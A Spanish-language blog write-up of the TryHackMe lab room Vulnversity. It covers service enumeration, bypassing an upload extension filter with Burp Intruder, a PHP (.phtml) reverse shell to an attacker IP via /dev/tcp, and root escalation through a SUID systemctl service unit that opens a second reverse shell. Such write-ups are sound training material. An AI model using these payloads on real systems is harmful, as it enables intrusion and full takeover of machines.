WriteupFácilLinux25 de febrero de 202612 min de lectura

TryHackMe: Writeup de Vulnversity

Resolución de la room Vulnversity de TryHackMe: enumeración con Nmap y Gobuster, bypass de filtro de extensiones con Burp Intruder, reverse shell en PHP y escalada via systemctl SUID.


Vulnversity es una room de TryHackMe de dificultad fácil enfocada en reconocimiento activo, enumeración web, explotación de un formulario de subida de archivos y escalada de privilegios mediante binarios con el bit SUID.


Conexión y comprobación de conectividad

Lo primero es conectarnos a la VPN de TryHackMe y comprobar que tenemos conectividad con la máquina:

ping -c 1 10.80.175.160

Respuesta correcta: 1 packet transmitted, 1 received, 0% packet loss. Ya podemos continuar.


Reconocimiento

Ahora toca la fase de reconocimiento. Usamos Nmap con -sS para hacer el escaneo más silencioso (enviamos un reset como tercer paquete) y -sCV para obtener información detallada de los servicios y posibles vulnerabilidades:

sudo nmap -sS -sCV 10.80.175.160 -A

Resultado del escaneo:

PuertoEstadoServicioVersión
21/tcpopenftpvsftpd 3.0.5
22/tcpopensshOpenSSH 8.2p1 Ubuntu
139/tcpopennetbios-ssnSamba smbd 4.6.2
445/tcpopennetbios-ssnSamba smbd 4.6.2
3128/tcpopenhttp-proxySquid http proxy 4.10
3333/tcpopenhttpApache httpd 2.4.41 (Ubuntu)

Observamos que tiene el servicio Samba abierto, un Squid proxy, y una web alojada en el puerto 3333 con título "Vuln University". Vamos a visitarla.


Enumeración Web

La web muestra la página principal de "Vuln University". Antes de nada, enumeramos los directorios públicos con Gobuster:

gobuster dir -u http://10.80.175.160:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

Resultados:

/images    (Status: 301)
/css       (Status: 301)
/js        (Status: 301)
/internal  (Status: 301)

El directorio /internal nos llama la atención. Vamos a ver qué encontramos ahí.


Explotación

En /internal encontramos un formulario que permite subir ficheros al servidor — muy interesante.

Probamos a subir archivos con extensiones como .txt o .php pero el servidor nos responde que la operación no está permitida.

Fuzzing de extensiones con Burp Intruder

Vamos a usar Burp Suite y el módulo Intruder para probar diferentes extensiones. Primero preparamos una wordlist con las extensiones a probar:

.php
.php3
.php4
.php5
.phtml
.txt
.sh

Interceptamos la petición de subida con Burp y la mandamos al Intruder. La petición interceptada es:

POST /internal/index.php HTTP/1.1
Host: 10.80.175.160:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: multipart/form-data; boundary=----geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Length: 333
Origin: http://10.80.175.160:3333

------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Disposition: form-data; name="file"; filename="test§.txt§"
Content-Type: application/x-php

------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Disposition: form-data; name="submit"

Submit
------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78--

Marcamos la extensión como posición de payload (Sniper attack) y cargamos la wordlist. Lanzamos el ataque con Start Attack.

Resultado del ataque

Al revisar las respuestas en la tabla de resultados, casi todas tienen un Length de 774 o 773... excepto .phtml, que devuelve 759:

RequestPayloadStatusLength
0(original)200774
1.php200773
2.php3200774
3.php4200773
4.php5200773
5.phtml200759
6.txt200774
7.sh200774

Inspeccionamos la Response del request 5 y al final del HTML vemos: Success. Esa es la extensión que el servidor permite subir.


Creación de la Reverse Shell

Ya sabemos que la extensión .phtml no está filtrada. Creamos el archivo reverse.phtml con nano:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.189.12/6666 0>&1'");

Guardamos el archivo (76 bytes) y lo subimos a través del formulario de /internal.

Localización del archivo subido

Por lo general estos archivos se guardan en /uploads dentro del servidor. Navegamos a:

http://10.81.165.209:3333/internal/uploads/

El servidor muestra el índice del directorio y vemos reverse.phtml ahí listado, listo para ser ejecutado.


Acceso Inicial

Antes de ejecutar la shell, nos ponemos en escucha en el puerto 6666:

nc -lvnp 6666

Ahora en el navegador accedemos a:

http://10.80.175.160:3333/internal/uploads/reverse.phtml

La conexión llega inmediatamente:

Listening on 0.0.0.0 6666
Connection received on 10.81.165.209 47514
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-81-165-209:/var/www/html/internal/uploads$

Estamos dentro como www-data, el usuario que ejecuta Apache. Comprobamos:

whoami
www-data

Para ver qué usuarios tienen una bash asignada:

cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:,,,:/home/bill:/bin/bash
ubuntu:x:1001:1001::/home/ubuntu:/bin/bash

Hay dos usuarios no privilegiados: bill y ubuntu. Nos interesa bill. Navegamos a su home:

cd /home/bill
ls
user.txt
cat user.txt

La flag de usuario está ahí.


Escalada de Privilegios

Para escalar privilegios, buscamos binarios con el bit SUID activado. Usamos -exec ls -ldb {} \; para ver también los permisos de cada binario:

find / -user root -perm -4000 -exec ls -ldb {} \;

Entre todos los resultados (con bastantes "Permission denied" de directorios del sistema), el que nos llama la atención es /bin/systemctl:

-rwsr-xr-x 1 root root 996584 Jun 17  2024 /bin/systemctl

Tener systemctl con SUID nos permite crear y arrancar servicios que se ejecuten como root.

Creación del servicio malicioso

Nos vamos a /tmp y creamos el archivo root.service:

[Unit]
Description=rooooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.189.12/9999 0>&1'

[Install]
WantedBy=multi-user.target

Ejecución

En una nueva terminal nos ponemos en escucha en el puerto 9999:

nc -lvnp 9999

Desde la shell de www-data, habilitamos y arrancamos el servicio:

systemctl enable /tmp/root.service
systemctl start root

La salida del enable confirma la creación de los symlinks:

Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /tmp/root.service.
Created symlink /etc/systemd/system/root.service -> /tmp/root.service.

En el listener recibimos la conexión:

Listening on 0.0.0.0 9999
Connection received on 10.81.165.209 43652
bash: cannot set terminal process group (2701): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-81-165-209:/#

Comprobamos:

whoami
root

Ya somos root. Obtenemos la flag final:

cd /root
cat root.txt

Conclusión

Después de todos estos pasos, podemos dar por completada la room de Vulnversity. Las técnicas practicadas:

  • Reconocimiento de servicios con Nmap
  • Enumeración de directorios con Gobuster
  • Fuzzing de extensiones de fichero con Burp Intruder
  • Subida de reverse shell en PHP (.phtml)
  • Escalada de privilegios abusando de /bin/systemctl con SUID
Tiempo en página 0:00Lectura estimada: 12 min

Posts relacionados

WriteupFácilLinux

DockerLabs: Writeup de la máquina Backend

Resolución completa de la máquina Backend de DockerLabs: SQLi con sqlmap, extracción de credenciales, fuerza bruta SSH con Hydra y escalada de privilegios abusando de binarios SUID.

15 de noviembre de 202512 min